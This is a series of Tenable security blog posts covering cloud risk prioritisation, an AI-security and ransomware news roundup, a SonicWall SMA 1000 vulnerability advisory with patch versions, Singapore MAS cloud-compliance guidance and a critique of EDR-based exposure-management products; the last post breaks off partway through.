In toxic combinations, vulnerability often opens the door, but high privilege hands the attacker the keys to the kingdom. Despite the clear danger, nearly 29% of organizations currently have at least one workload operating with this exact setup in place, according to the Tenable Cloud Security Risk Report 2025.

These combinations are the primary targets for threat actors because they offer a direct path to data exfiltration, ransomware, or other malicious impacts. Identifying and remediating these specific intersections, rather than chasing a generic list of CVEs, is the difference between "busy work" and actual risk reduction by addressing your exposure. 

The Jenga®  Effect: Inherited risk in AI and identity

The challenge of prioritization is compounded by the rapid adoption of AI and the layered nature of cloud services, which Tenable Cloud Research has dubbed the "Jenga effect.”

When deploying AI workloads, organizations often inherit risky default configurations from providers. For instance, 90.5% of organizations that have configured Amazon SageMaker have root access enabled by default in at least one notebook instance, according to the Tenable Cloud AI Risk Report 2025. If the foundational block of your stack is insecure, the entire workload is compromised.

Furthermore, identity has become the prime target and goal of attackers. You can patch every piece of software in your environment, but if an attacker compromises an over-privileged identity, they do not need an exploit. They simply log in. With 84% of organizations possessing unused or longstanding access keys with critical permissions, a finding from Tenable Cloud Research Report 2024, identity security posture management is no longer optional.

A mature exposure management strategy must treat identity risks and AI misconfigurations with the same urgency as software vulnerabilities.

Operationalizing exposure management

To close the efficiency gap seen in the cloud, security leaders must adopt a cloud native application protection platform (CNAPP) that unifies visibility and forces prioritization based on context.

Here is how to shift your operating model:

1. Maintain momentum (The 5-minute audit)

Paralysis is the enemy of security. When faced with a mountain of alerts, teams often freeze. Tenable Cloud Security breaks this paralysis with the "If you only have 5 minutes" widget. This feature isn't about deep forensic analysis; it is about hygiene and momentum. It identifies the immediate, obvious "quick wins," like a publicly exposed S3 bucket or an inactive key that you can fix right now. This ensures that even on your busiest days, you are fixing something versus nothing. It keeps the "hygiene debt" from piling up while you prepare for deeper work. This is a great place for security to focus junior level employees.

2. Attack the toxic combinations

Once the quick wins are handled, shift your focus to the strategic risks. This is where you target those toxic combinations. This is where you apply your best resources. By correlating identity, network, and vulnerability data, you identify the 3% of alerts that could lead to a devastating breach. Remediating these exposures creates the measurable drop in organizational risk that you can report to the board.

3. Shift remediation to the source

"ClickOps," the practice of manually fixing settings in the cloud console, is inefficient and temporary. The next deployment often overwrites the fix.

Mature organizations integrate security into the development lifecycle. Tenable Cloud Security traces runtime issues back to the specific Infrastructure as Code (IaC) that created them. It can then automatically generate a pull request with the necessary code changes.

This applies equally to identity. Instead of estimating permissions, the platform analyzes actual usage behavior to generate least privilege policies that strip away unused access automatically.

Conclusion: Value-based security

The metric for a successful cloud security program is no longer "number of alerts closed." It is the measurable reduction of exposure.

We cannot scale our teams to match the growth of the cloud, but we can scale our intelligence. By leveraging context to identify the 3% of exposures that create business risk, you move your organization from a posture of reacting to noise to proactively prioritizing and remediating exposures.

See it in action

The short demo below walks you through a real cloud AI environment and shows how Tenable identifies workloads, reveals hidden risks and highlights the issues that matter most.

It is a quick, straightforward look at exposure management giving you an actual feel for real world use.

 

Learn more about how to prioritize cloud risk based on what really matters.

(Jenga® is a registered trademark owned by Pokonobe Associates.)

Formerly “AI shy” cyber pros have done a 180 and become AI power users, as AI forces data security changes, the CSA says. Plus, PwC predicts orgs will get serious about responsible AI usage in 2026, while the NCSC states that, no, prompt injection isn’t the new SQL injection. And much more!

Key takeaways

1. Cyber pros have pivoted to AI: Formerly AI-reluctant, cybersecurity teams have rapidly become enthusiastic power users, with over 90% of surveyed professionals now testing or planning to use AI to combat cyber threats.
2. Data security requires an AI overhaul: The Cloud Security Alliance warns that traditional data security pillars require a "refresh" to address unique AI risks such as prompt injection, model inversion, and multi-modal data leakage.
3. Prompt injection isn't a quick fix: Unlike SQL injection, which can be solved with secure coding, prompt injection exploits the fundamental "confusability" of LLMs and requires ongoing risk management rather than a simple patch.

Here are five things you need to know for the week ending December 19.

1 - CSA-Google study: Cyber teams heart AI security tools

Who woulda thunk it?

Once seen as artificial intelligence (AI) laggards, cybersecurity teams have become their organizations’ most enthusiastic AI users.

That’s one of the key findings from “The State of AI Security and Governance Survey Report” from the Cloud Security Alliance (CSA) and Google Cloud, published this week.

“AI in security has reached an inflection point. After years of being cautious followers, security teams are now among the earliest adopters of AI, demonstrating both curiosity and confidence,” the report reads. 

Specifically, more than 90% of respondents are assessing how AI can enhance detection, investigation, or response processes by either already testing AI security capabilities (48%), or planning to do so within the next year (44%). 

“This proactive posture not only improves defensive capabilities but also reshapes the role of security — from a function that reacts to new technologies, to one that helps lead and shape how they are safely deployed,” the report adds.
 

(Source: “The State of AI Security and Governance Survey Report” from the Cloud Security Alliance (CSA) and Google Cloud, December 2025)

Here are more findings from the report, which is based on a global survey of 300 IT and security professionals:

• Governance maturity begets AI readiness and innovation: Organizations with comprehensive policies are nearly twice as likely to adopt agentic AI (46%) than those with partial guidelines or in-development policies.
• The "Big Four" dominate: The AI landscape is consolidated around a few major players: OpenAI’s GPT (70%), Google’s Gemini (48%), Anthropic’s Claude (29%) and Meta’s LLaMa (20%).
• There’s a confidence gap: While 70% of executives say they are aware of AI security implications, 73% remain neutral or lack confidence in their organization's ability to execute a security strategy.
• Organizations’ AI security priorities are misplaced: Respondents cite data exposure (52%) as their top concern, often overlooking AI-specific threats like model integrity (12%) and data poisoning (10%).

“This year’s survey confirms that organizations are shifting from experimentation to meaningful operational use. What’s most notable throughout this process is the heightened awareness that now accompanies the pace of [AI] deployment,” Hillary Baron, the CSA’s Senior Technical Research Director, said in a statement. 

Recommendations from the report include:

• Expand your AI governance using AI-specific industry frameworks, and complement these efforts with independent assessments and advisory services.
• Boost your AI cybersecurity skills through training, upskilling, and cross-team collaboration.
• Adopt secure-by-design principles when developing AI systems.
• Track key AI metrics for things such as AI incidents, training completion rates, AI systems under governance, and AI projects reviewed for risk and threats.

“Strong governance is how you create stability in the face of rapid change. It’s how you ensure AI accelerates the business rather than putting it at risk,” reads a CSA blog.

For more information about using AI for cybersecurity:

• “How AI is becoming a powerful tool for offensive cybersecurity practitioners” (CSO)
• “How has generative AI affected cybersecurity?” (TechTarget)
• “GenAI use cases rising rapidly for cybersecurity — but concerns remain” (CSO)
• “How AI Can Boost Your Cybersecurity Program” (Tenable)
• “How AI threat detection is transforming enterprise cybersecurity” (TechTarget)

2 - CSA: You need new data security controls in AI environments

Do the classic pillars of data security – confidentiality, integrity and availability – still hold up in the age of generative AI? According to a new white paper from the Cloud Security Alliance (CSA), they remain essential, but they require a significant overhaul to survive the unique pressures of modern AI.

The paper, titled “Data Security within AI Environments,” maps existing security controls to the AI data lifecycle and identifies critical gaps where current safeguards fall short. It argues that the rise of agentic AI and multi-modal systems creates attack vectors that traditional perimeter security simply cannot address.
 

Here are a few key takeaways and recommendations from the report:

• New controls proposed: The CSA suggests adding four new controls to its AI Controls Matrix (AICM) to specifically address prompt injection defense; model inversion and membership inference protection; federated learning governance; and shadow AI detection.
• Multi-modal risks: Systems that process text, images and audio simultaneously introduce "unprecedented cross-modal data leakage risks," where information from one modality can inadvertently expose sensitive data from another. The CSA suggests enforcing clear standards and isolation controls to prevent such cross-modal leaks.
• Third-party guardrails: As regulatory scrutiny increases, organizations must adopt enforceable policies, such as data tagging and contractual safeguards, to ensure proprietary client data is not used to train third-party models.
• Dynamic defense: Because AI threats evolve rapidly, static measures are insufficient. The report recommends establishing a peer review cycle every 6 to 12 months to reassess safeguards.

"The foundational principles of data security—confidentiality, integrity, and availability—remain essential, but they must be applied differently in modern AI systems," reads the report.

For more information about securing data in AI systems:

• “Best Practices for Securing Data Used to Train & Operate AI Systems” (CISA)
• “Harden Your Cloud Security Posture by Protecting Your Cloud Data and AI Resources” (Tenable)
• “Data security is critical for professional-grade AI” (Thomson Reuters)
• “AI agents expose data, security & skills bottlenecks” (IT Brief)
• “Know Your Exposure: Is Your Cloud Data Secure in the Age of AI?” (Tenable)

3 - PwC: Responsible AI will gain traction in 2026

Is your organization still treating responsible AI usage as a compliance checkbox, or are you leveraging it to drive growth? 

A new prediction from PwC suggests that 2026 will be the year companies finally stop just talking about responsible AI and start making it work for their bottom line.

In its “2026 AI Business Predictions,” PwC forecasts that responsible AI is moving "from talk to traction." This shift is being driven not just by regulatory pressure, but by the realization that governance delivers tangible business value. In fact, almost 60% of executives in PwC's “2025 Responsible AI Survey” reported that their investments in this area are already boosting return on investment (ROI).
 

To capitalize on this trend, PwC advises organizations to stop treating AI governance as a siloed function, and to instead take steps including:

• Integrate early: Bring IT, risk and AI specialists together from the start of the project lifecycle.
• Automate oversight: Explore new technical capabilities that can operationalize testing and monitoring.
• Add assurance: For high-risk or high-value systems, independent assessments may be critical for managing performance and risk.

“2026 could be the year when companies overcome this challenge and roll out repeatable, rigorous responsible AI practices,” the report states.

For more information about secure and responsible AI use, check out these Tenable resources:

• “Security for AI: How Shadow AI, Platform Risks, and Data Leakage Leave Your Organization Exposed” (blog)
• “Securing the Future of AI in Your Enterprise” (on-demand webinar)
• “How Rapid AI Adoption Is Creating an Exposure Gap” (blog)
• “Security for AI: A Practical Guide to Enforcing Your AI Acceptable Use Policy” (blog)
• “The State of Cloud and AI Security 2025” (research report)

4 - Report: Ransomware victims paid $2.1B from 2022 to 2024

If you thought ransomware activity felt explosive in recent years, the U.S. Treasury Department has the receipts to prove you right. 

Ransomware skyrocketed between 2022 and 2024, a three-year period in which incidents and ransom payments grew exponentially compared with the previous nine years.

The finding comes from the U.S. Financial Crimes Enforcement Network (FinCEN) report titled “Ransomware Trends in Bank Secrecy Act Data Between 2022 and 2024.” 

Between January 2022 and December 2024, FinCEN received almost 7,400 reports tied to almost 4,200 ransomware incidents totaling more than $2.1 billion in ransomware payments.

By contrast, during the previous nine-year period – 2013 through 2021 – FinCEN received 3,075 reports totaling approximately $2.4 billion in ransomware payments. 

The report is based on Bank Secrecy Act (BSA) data submitted by financial institutions to FinCEN, which is part of the U.S. Treasury Department.

(Source: U.S. Financial Crimes Enforcement Network (FinCEN) report titled “Ransomware Trends in Bank Secrecy Act Data Between 2022 and 2024,” December 2025)

Here are a few key findings from the report:

• Record-breaking 2023: Ransomware incidents and payments peaked in 2023, with 1,512 incidents and about $1.1 billion, a dollar amount increase of 77% from 2022.
• Slight dip, still high: While 2024 saw a slight decrease to 1,476 incidents and $734 million in payments, it remained the third-highest yearly total on record.
• Median payment amounts: The median amount of a ransom payment was about $124,000 in 2022; $175,000 in 2023; and $155,250 in 2024.
• Most targeted sectors: The financial services, manufacturing and healthcare industries reported the highest number of incidents and payment amounts.
• Top variants: FinCEN identified 267 unique ransomware variants, with Akira, ALPHV/BlackCat, LockBit, Phobos and Black Basta being the most frequently reported.
• Crypto choice: Bitcoin remains the primary payment method, accounting for 97% of reported transactions, followed distantly by Monero (XMR).

How can organizations better align their financial compliance and cybersecurity operations to combat ransomware? The report emphasizes the importance of integrating financial intelligence with technical defense mechanisms. 

FinCEN recommends the following actions for organizations:

• Leverage threat data: Incorporate indicators of compromise (IOCs) from threat data sources into intrusion detection and security alert systems to enable active blocking or reporting.
• Engage law enforcement: Contact federal agencies immediately regarding activity and consult the U.S. Office of Foreign Assets Control (OFAC) to check for sanction nexuses.
• Enhance reporting: When reporting suspicious activity to FinCEN, include specific IOCs such as file hashes, domains and convertible virtual currency (CVC) addresses.
• Update compliance programs: Review anti-money laundering (AML) programs to incorporate red flag indicators associated with ransomware payments.

For more information about current ransomware trends:

• “Ransomware trends targeting storage systems in 2026” (TechTarget)
• “Ransomware keeps widening its reach” (Help Net Security)
• “Ransomware 2025: Lessons from the Past Year and What Lies Ahead” (GovTech)
• “Understanding the Ransomware Ecosystem: From Screen Lockers to Multimillion-Dollar Criminal Enterprise” (Tenable)
• “StopRansomware” (CISA)

5 - NCSC: Don’t conflate SQL injection and prompt injection

SQL injection and prompt injection aren’t interchangeable terms, the U.K.’s cybersecurity agency wants you to know.

In the blog post “Prompt injection is not SQL injection (it may be worse),” the National Cyber Security Centre unpacks the key differences between these two types of cyber attacks, saying that knowing the differences is critical.

“On the face of it, prompt injection can initially feel similar to that well known class of application vulnerability, SQL injection. However, there are crucial differences that if not considered can severely undermine mitigations,” the blog reads.

While both issues involve an attacker mixing malicious "data" with system "instructions," the fundamental architecture of large language models (LLMs) makes prompt injection significantly harder to fix.
 

The reason is that SQL databases operate on rigid logic where data and commands can be clearly separated via, for example, parameterization. Meanwhile, LLMs operate probabilistically, predicting the "next token" without inherently understanding the difference between a user's input and a developer's instruction.

“Current large language models (LLMs) simply do not enforce a security boundary between instructions and data inside a prompt,” the blog reads.

So how can you mitigate the prompt injection risk? Here are some of the NCSC’s recommendations:

• Developer and organization awareness: Since prompt injection is a relatively new and often misunderstood vulnerability, organizations must ensure developers receive specific training. Security teams should treat it as a residual risk that requires ongoing management through design and operation, rather than relying on a single product to fix it.
• Secure design: Because LLMs are “inherently confusable,” designers should implement deterministic, non-LLM safeguards to constrain system actions. A key principle is to limit the LLM's privileges to match the trust level of the user providing the input.
• Make it harder: While no technique can stop prompt injection entirely, methods such as marking data sections or using XML tags can reduce the likelihood of success. The NCSC warns against relying on “deny-listing” specific phrases, as attackers can easily rephrase inputs to bypass filters.
• Monitor: Organizations should log LLM inputs, outputs and API calls to detect suspicious activity. Monitoring for failed tool calls can help identify attackers who are honing their techniques against the system.

For more information about AI prompt injection attacks:

• “OWASP Top 10 for Large Language Model Applications” (OWASP)
• “Microsoft Copilot Studio Security Risk: How Simple Prompt Injection Leaked Credit Cards and Booked a $0 Trip” (Tenable)
• “Mitigating the risk of prompt injections in browser use” (Anthropic)
• “Detecting AI Security Risks Requires Specialized Tools: Time to Move Beyond DLP and CASB” (Tenable)
• “AI prompt injection gets real — with macros the latest hidden threat” (CSO)

A zero-day vulnerability in SonicWall’s Secure Mobile Access (SMA) 1000 was reportedly exploited in the wild in a chained attack with CVE-2025-23006.

Key takeaways:

1. CVE-2025-40602 is a local privilege escalation vulnerability in the appliance management console (AMC) of the SonicWall SMA 1000 appliance.
    
2. CVE-2025-40602 has been exploited in a chained attack with CVE-2025-23006, a deserialization of untrusted data vulnerability patched in January.
    
3. A list of Tenable plugins for this vulnerability can be found on the individual CVE pages for CVE-2025-40602 and CVE-2025-23006.

Background

On December 17, SonicWall published a security advisory (SNWLID-2025-0019) for a newly disclosed vulnerability in its Secure Mobile Access (SMA) 1000 product, a remote access solution.

CVEDescriptionCVSSv3CVE-2025-40602SonicWall SMA 1000 Privilege Escalation Vulnerability6.6Analysis

CVE-2025-40602 is a local privilege escalation vulnerability in the appliance management console (AMC) of the SonicWall SMA 1000 appliance. An authenticated, remote attacker could exploit this vulnerability to escalate privileges on an affected device. While on its own, this flaw would require authentication in order to exploit, the advisory from SonicWall states that CVE-2025-40602 has been exploited in a chained attack with CVE-2025-23006, a deserialization of untrusted data vulnerability patched in January. The combination of these two vulnerabilities would allow an unauthenticated attacker to execute arbitrary code with root privileges.

According to SonicWall, “SonicWall Firewall products are not affected by this vulnerability.”

Historical exploitation of SonicWall vulnerabilities

SonicWall products have been a frequent target for attackers over the years. Specifically, the SMA product line has been targeted in the past by ransomware groups, as well as being featured in the Top Routinely Exploited Vulnerabilities list co-authored by multiple United States and International Agencies.

Earlier this year, an increase in ransomware activity tied to SonicWall Gen 7 Firewalls was observed. While initially it was believed that a new zero-day may have been the root cause, SonicWall later provided a statement noting that exploitation activity was in relation to CVE-2024-40766, an improper access control vulnerability which had been observed to have been exploited in the wild. More information on this can be found on our blog.

Given the past exploitation of SonicWall devices, we put together the following list of known SMA vulnerabilities that have been exploited in the wild:

CVEDescriptionTenable Blog LinksYearCVE-2019-7481SonicWall SMA100 SQL Injection Vulnerability12019CVE-2019-7483SonicWall SMA100 Directory Traversal Vulnerability-2019CVE-2021-20016SonicWall SSLVPN SMA100 SQL Injection Vulnerability1, 2, 3, 4, 52021CVE-2021-20038SonicWall SMA100 Stack-based Buffer Overflow Vulnerability1, 2, 32021CVE-2025-23006SonicWall SMA 1000 Deserialization of Untrusted Data Vulnerability12025CVE-2024-40766SonicWall SonicOS Improper Access Control Vulnerability12025Proof of concept

At the time this blog was published, no proof-of-concept (PoC) code had been published for CVE-2025-40602. If and when a public PoC exploit becomes available for CVE-2025-40602, we anticipate a variety of attackers will attempt to leverage this flaw as part of their attacks.

Solution

SonicWall has released patches to address this vulnerability as outlined in the table below:

Affected VersionFixed Version12.4.3-03093 and earlier12.4.3-0324512.5.0-02002 and earlier12.5.0-02283

The advisory also provides a workaround to reduce potential impact. This involves restricting access to the AMC to trusted sources. We recommend reviewing the advisory for the most up to date information on patches and workaround steps.

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2025-40602 as they’re released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline. In addition, product coverage for CVE-2025-23006 can be found here.

Tenable Attack Surface Management customers are able to identify these assets using a filtered search for SonicWall devices:

 Get more information

• SonicWall SNWLID-2025-0019 Security Advisory
• Tenable Blog: CVE-2025-23006: SonicWall Secure Mobile Access (SMA) 1000 Zero-Day Reportedly Exploited

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

The Monetary Authority of Singapore’s cloud advisory, part of its 2021 Technology Risk Management Guidelines, advises financial institutions to move beyond siloed monitoring to adopt a continuous, enterprise-wide approach. These firms must undergo annual audits. Here’s how Tenable can help.

Key takeaways:

1. High-stakes compliance: The MAS requires all financial institutions in Singapore to meet mandatory technology risk and cloud security guidelines and document compliance. Non-compliance can lead to severe financial penalties and business restrictions. Any third-party providers used by Singapore financial institutions must also comply with the standards.
    
2. The proactive mandate: Compliance requires a shift from static compliance checks to a continuous, proactive approach to managing exposure. This approach is essential for securing the key cloud risk areas mandated by MAS: identity and access management (IAM) and securing applications in the public cloud.
    
3. How to get there: Effective risk mitigation means breaking the most dangerous attack paths. Tenable Cloud Security, available in the Tenable One Exposure Management Platform, provides continuous monitoring, eliminates over-privileged permissions, and addresses misconfiguration risk.

Complying with government cybersecurity regulations can lull organizations into a false sense of security and lead to an over-reliance on point-in-time assessments conducted at irregular intervals. While such compliance efforts are essential to pass audits, they may do very little to actually reduce an organization’s risk. On the other hand, government efforts like the robust framework provided by the Monetary Authority of Singapore (MAS), Singapore’s central bank and integrated financial regulator, offer valuable guidance for organizations worldwide to consider as they look to reduce cyber risk. 

The MAS framework is designed to safeguard the integrity of the country's financial systems. The framework is anchored by the MAS Technology Risk Management (TRM) Guidelines, published in January 2021, which covers a wide spectrum of risk management concerns, including IT governance, cyber resilience, incident response, and third-party risk. The TRM guidelines were supplemented by the June 2021 Advisory On Addressing The Technology And Cyber Security Risks Associated With Public Cloud Adoption.

The cloud advisory highlights key risks and control measures that Singapore’s financial institutions should consider before adopting public cloud services, including:

• Developing a public cloud risk management strategy that takes into consideration the unique characteristics of public cloud services
• Implementing strong controls in areas such as identity and access management (IAM), cybersecurity, data protection, and cryptographic key management
• Expanding cybersecurity operations to include the security of public cloud workloads
• Managing cloud resilience, outsourcing, vendor lock-in, and concentration risks
• Ensuring the financial institution’s staff have the adequate skillsets to manage public cloud workloads and their risks.

The advisory recommends avoiding a siloed approach when performing security monitoring of on-premises apps or infrastructure and public cloud workloads. Instead, it advises financial institutions to “feed cyber-related information on public cloud workloads into their respective enterprise-wide IT security monitoring services to facilitate continuous monitoring and analysis of cyber events.” 

Who must comply with MAS TRM and the cloud advisory?

While the MAS TRM guidelines and cloud advisory do not specifically state penalties for compliance failures, they are legally binding. They apply to all financial institutions operating under the authority’s regulation in Singapore, including banks, insurers, fintech firms, payment service providers, and venture capital managers. A financial institution in Singapore that leverages the services of a firm based outside the country must ensure that its service providers also meet the TRM requirements. MAS also factors adherence to the framework into its overall risk assessment of an organization; failure to comply can damage an organization's standing and reputation.

In short, the scope of accountability to the MAS TRM guidelines and cloud advisory is broad.

Complying with the MAS cloud advisory: How Tenable can help

We evaluated how the Tenable One Exposure Management Platform with Tenable Cloud Security can assist organizations in achieving and maintaining compliance with the MAS cloud advisory. Read on to understand two of the cloud advisory’s key focus areas and how to address them effectively with Tenable One — preventing dangerous attack path vectors from compromising sensitive cloud assets.

1. Identity and access management: Enforcing least privilege access

The MAS cloud advisory calls for financial institutions to “enforce the principle of least privilege stringently” when granting access to assets in the public cloud. It further advises firms to consider adopting zero trust principles in the architecture design of applications, where “access to public cloud services and resources is evaluated and granted on a per-request and need-to basis.”

At Tenable, we believe applying least privilege in Identity Access Management (IAM) is the cornerstone for effective cloud security. In the cloud, excessive permissions on accounts that can access sensitive data are a direct route to a breach.

How Tenable can help: CIEM and sensitive data protection

The Tenable Cloud Security domain within Tenable One offers integrated cloud infrastructure entitlement management (CIEM) that enforces strict least privilege across human and machine identities in Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, Oracle Cloud Infrastructure (OCI), and Kubernetes environments.

• Eliminate lateral movement: CIEM analyzes policies to identify privilege escalation risks and lateral movement paths, effectively closing dangerous attack vectors.
• Data-driven prioritization: Tenable provides automated data classification and correlates sensitive data exposure with overly permissive identities. This ensures remediation focuses on the exposures that threaten your most critical regulated data.
• Mandatory controls: The platform automatically monitors for privileged users who lack multi-factor authentication (MFA) and checks for regular access key rotation.

Cutting-edge identity intelligence correlates overprivileged IAM identities with vulnerabilities, misconfigurations, and sensitive data to see where privilege misuse could have the greatest impact. Guided, least-privilege remediation closes these identity exposure gaps. Source: Tenable, December 2025

Here’s a detailed look at how Tenable can help with three of the cloud advisory’s IAM provisions:

MAS cloud advisory itemHow Tenable helps10. As IAM is the cornerstone of effective cloud security risk management, FIs should enforce the principle of “least privilege” stringently when granting access to information assets in the public cloud.Tenable provides easy visualization of effective permissions through identity intelligence and permission mapping. By querying permissions across identities, you can quickly surface problems and revoke excessive permissions with automatically generated least privilege policies.11. Financial institutions should implement multi-factor authentication (MFA) for staff with privileges to configure public cloud services through the CSPs’ metastructure, especially staff with top-level account privileges (e.g. known as the “root user” or “subscription owner” for some CSPs).Tenable offers detailed monitoring for privileged users, including IAM users who don't have multi-factor authentication (MFA) enabled.12. Credentials used by system/application services for authentication in the public cloud, such as “access keys,” should be changed regularly. If the credentials are not used, they should be deleted immediately.Tenable's audits check for this specific condition. They can identify IAM users whose access keys have not been rotated within a specified time frame (e.g., 90 days). This helps you to quickly identify and address this security vulnerability

Source: Tenable, December 2025

2. Securing applications in the public cloud: Minimizing risk exposure

For financial institutions using microservices and containers, the MAS cloud advisory advises that, to reduce the attack surface, each container includes only the core software components needed by the application. The cloud advisory also notes that security tools made for traditional on-premises IT infrastructure (e.g. vulnerability scanners) may not run effectively on containers, and advises financial institutions to adopt container-specific security solutions for preventing, detecting, and responding to container-specific threats. For firms using IaC to provision or manage public cloud workloads, it further calls for implementing controls to minimize the risk of misconfigurations.

At Tenable, we believe this explicit mandate for specialized cloud and container security solutions underscores the need for continuous, accurate risk assessment. Tenable Cloud Security is purpose-built to meet these requirements with full Cloud Security Posture Management (CSPM) and Cloud Workload Protection (CWP) capabilities across your cloud footprint. This ability to see and protect every cloud asset — from code to container — is crucial for enabling contextual prioritization of risk. We also believe that relying solely on static vulnerability scoring systems, like the Common Vulnerability Scoring System (CVSS) is insufficient because it fails to reflect real-world exploitability. To ensure financial institutions focus remediation efforts where they matter most, Tenable Exposure Management, including Tenable Cloud Security, incorporates the Tenable Vulnerability Priority Rating (VPR) — dynamic, predictive risk scoring that allows teams to address the most immediate and exploitable threats first.

How Tenable can help: Container security and cloud-to-code traceability

Tenable unifies cloud workload protection (CWP) with cloud security posture management (CSPM) to provide continuous, contextual risk assessment.

• Workload and container security: Tenable provides solutions tailored to your security domain:
  • For the cloud security professional: Tenable offers robust, agentless cloud workload protection capabilities that continuously scan for, detect and visualize critical risks such as vulnerabilities, sensitive data exposure, malware and misconfigurations across virtual machines, containers and serverless environments.
  • For the vulnerability management owner: Tenable offers a streamlined solution with unified visibility for hybrid environments, providing the core capabilities to extend vulnerability management best practices to cloud workloads: Tenable Cloud Vulnerability Management, ensures agentless multi-cloud coverage, scanning containers in registries (shift-left) and runtime to prevent the deployment of vulnerable images and detect drift in production.
• Cloud-to-code traceability: This unique feature links runtime findings (e.g., an exposed workload) directly back to its IaC source code, allowing for rapid remediation and automated pull requests, minimizing misconfiguration risk as mandated by MAS.

Embed security and compliance throughout the development lifecycle, in DevOps workflows like HashiCorp Terraform and CloudFormation, to minimize risks. Detect issues in the cloud and suggest the fix in code. Source: Tenable, December 2025

Here’s a detailed look at how Tenable can help with two of the cloud advisory’s provisions related to securing applications in the public cloud:

MAS cloud advisory itemHow Tenable helps19. Applications that run in a public cloud environment may be packaged in containers, especially for applications adopting a microservices architecture. Financial institutions should ensure that each container includes only the core software components needed by the application to reduce the attack surface. As containers typically share a host operating system, financial institutions should run containers with a similar risk profile together (e.g., based on the criticality of the service or the data that are processed) to minimize risk exposure. As security tools made for traditional on-premise[s] IT infrastructure (e.g. vulnerability scanners) may not run effectively on containers, financial institutions should adopt [a] container-specific security solution for preventing, detecting, and responding to container-specific threats.

Tenable integrates with your CI/CD pipelines and container registries to provide visibility and control throughout the container lifecycle. Here's how it works:

• Tenable scans container images for vulnerabilities, misconfigurations, and malware as they're being built and stored in registries. This is a "shift-left" approach, which means it helps you find and fix security issues early in the development process.
• You can create and enforce security policies based on vulnerability scores, the presence of specific malware, or other security criteria.
• Tenable's admission controllers act as runtime guardrails, ensuring that the policies you've defined are enforced at the point of deployment. This prevents deployment of images that failed initial scans or have since been found vulnerable, even if a developer tries to bypass the standard process.

20. Financial institutions should ensure stringent control over the granting of access to container orchestrators (e.g. Kubernetes), especially the use of the orchestrator administrative account, and the orchestrators’ access to container images. To ensure that only secure container images are used, a container registry could be established to facilitate tracking of container images that have met the financial institution’s security requirements.

Tenable's Kubernetes Security Posture Management (KSPM) component continuously scans your Kubernetes resources (like pods, deployments, and namespaces) to identify misconfigurations and policy violations. This allows you to:

• Discover and remediate vulnerabilities and misconfigurations before they can be exploited.
• Continuously audit your environment against industry standards, like the Center for Internet Security (CIS) benchmarks for Kubernetes.
• Get a single, centralized view of your security posture across multiple Kubernetes clusters.

Tenable’s admission controllers act as gatekeepers to your Kubernetes cluster. When a user or a system attempts to deploy a new container image, the admission controller intercepts the request before it's fully scheduled. It then checks the image against your defined security policies. Your policies can be based on factors such as:

• Vulnerability scores (e.g., block any image with a critical vulnerability)
• Compliance violations (e.g., block images that don't meet a specific security standard)
• The presence of malicious software or exposed secrets

If the image violates any of these policies, the admission controller denies the deployment, preventing the vulnerable container from ever reaching production.

Source: Tenable, December 2025

Gaining the upper hand on MAS compliance through a unified ecosystem view

Tenable One is the market-leading exposure management platform, normalizing, contextualizing, and correlating security signals from all domains, including cloud — across vulnerabilities, misconfigurations, and identities spanning your hybrid estate. Exposure management enables cross-functional alignment between SecOps, DevOps, and governance, risk and compliance (GRC) teams with a shared, unified view of risk.

Tenable Cloud Security, part of Tenable One, unifies vision, insight, and action to support continuous adherence to the MAS cloud advisory across multi-cloud and hybrid environments. Source: Tenable, December 2025

Tenable Cloud Security, part of the Tenable One Exposure Management platform, supports continuous adherence to the MAS cloud advisory and enables risk-based decision-making by eliminating the toxic combinations that attackers exploit. The platform unifies security insight, transforming the effort to achieve compliance from a necessary burden into a strategic advantage.

Learn more

• View the on-demand webinar:  Mastering your Cloud Security — Navigating Monetary Authority of Singapore (MAS) Cloud Advisory Guidelines
• Read the cloud security use case: Cloud misconfiguration identification and remediation
• Watch the video: Enforce least privilege across cloud identities

Many EDR vendors are retrofitting their tools and slapping an “exposure management” label on them. Don’t be fooled. These offerings often conceal unexpected costs and create dangerous blind spots. Use these seven questions to find an exposure management platform that delivers real value that scales.

Key takeaways

1. The red flags: Beware of "single agent" exposure management platforms from EDR vendors. They often hide their true TCO behind fragmented licensing, essential add-ons, and unpredictable pricing.
2. The hidden costs: Your staff wastes valuable time baby-sitting these incomplete, cludgy endpoint-centric platforms, whose security blind spots create significant financial risk for your business. From my perspective you are increasing your “known unknowns,” which I try to avoid.
3. The real deal: A genuine exposure management platform delivers scalable value by providing comprehensive visibility across all assets, precise cyber risk prioritization, a unified workflow, and broad compliance coverage.

Imagine buying a new car, only to realize the steering wheel and brakes are sold separately. Oh, and you have to hire a third-party mechanic to install them.

Absurd, right? Well, believe it or not, this is how some vendors are selling their exposure management “platforms” today.

We often see this with endpoint detection and response (EDR) vendors. Eager to jump on the exposure management bandwagon, they retrofit their EDR products, market a low base price, and promise a turnkey "single agent" miracle.

But when the ink dries, the reality sets in. That low base price you thought you were getting has escalated due to add-ons. You’re left with a premium price tag for a product that can’t see half your network.

The unexpected costs of single-agent exposure management solutions

Here’s the frustrating scenario of escalating costs and spiraling complexity that clients often face:

• Fragmented licensing and hidden add-on costs: The initial "single agent"-based price turns out to be wishful thinking. To get anything resembling true exposure management, you must purchase costly add-ons for securing containers, cloud workloads, operational technology (OT) systems, IoT devices, and other critical elements of modern, hybrid environments. When the dust settles, your per-seat cost has increased significantly.
• Inflexible, unpredictable licensing models: Some vendors use unpredictable credit-based "drawdown" models that make budgeting impossible and lead to unexpected costs mid-contract.
• High operational staff-related costs: Total cost of ownership (TCO) isn't limited to software licenses. You can incur significant operational costs as your staff wrestles with the shortcomings of these so-called exposure management platforms. Valuable time is wasted:
  • Chasing false positives and inaccurate data
  • Grappling with platform stability issues
  • Manually creating compliance and business-risk reports
  • Managing remediation due to poor platform workflows
• The financial hits of blind spots: Endpoint-centric exposure management platforms can miss a large percentage of vulnerabilities, especially on assets EDR agents can’t see, such as networking gear, cloud services, and OT systems. The financial impact of a single breach from one overlooked vulnerability could be massive.
• Hidden integration costs: These visibility gaps left by inadequate exposure management solutions inevitably require purchasing additional tools to ingest and integrate data from critical sources like identity logs. This adds cost and complexity, shattering the myth of the cost effectiveness of the "single agent" architecture.
   

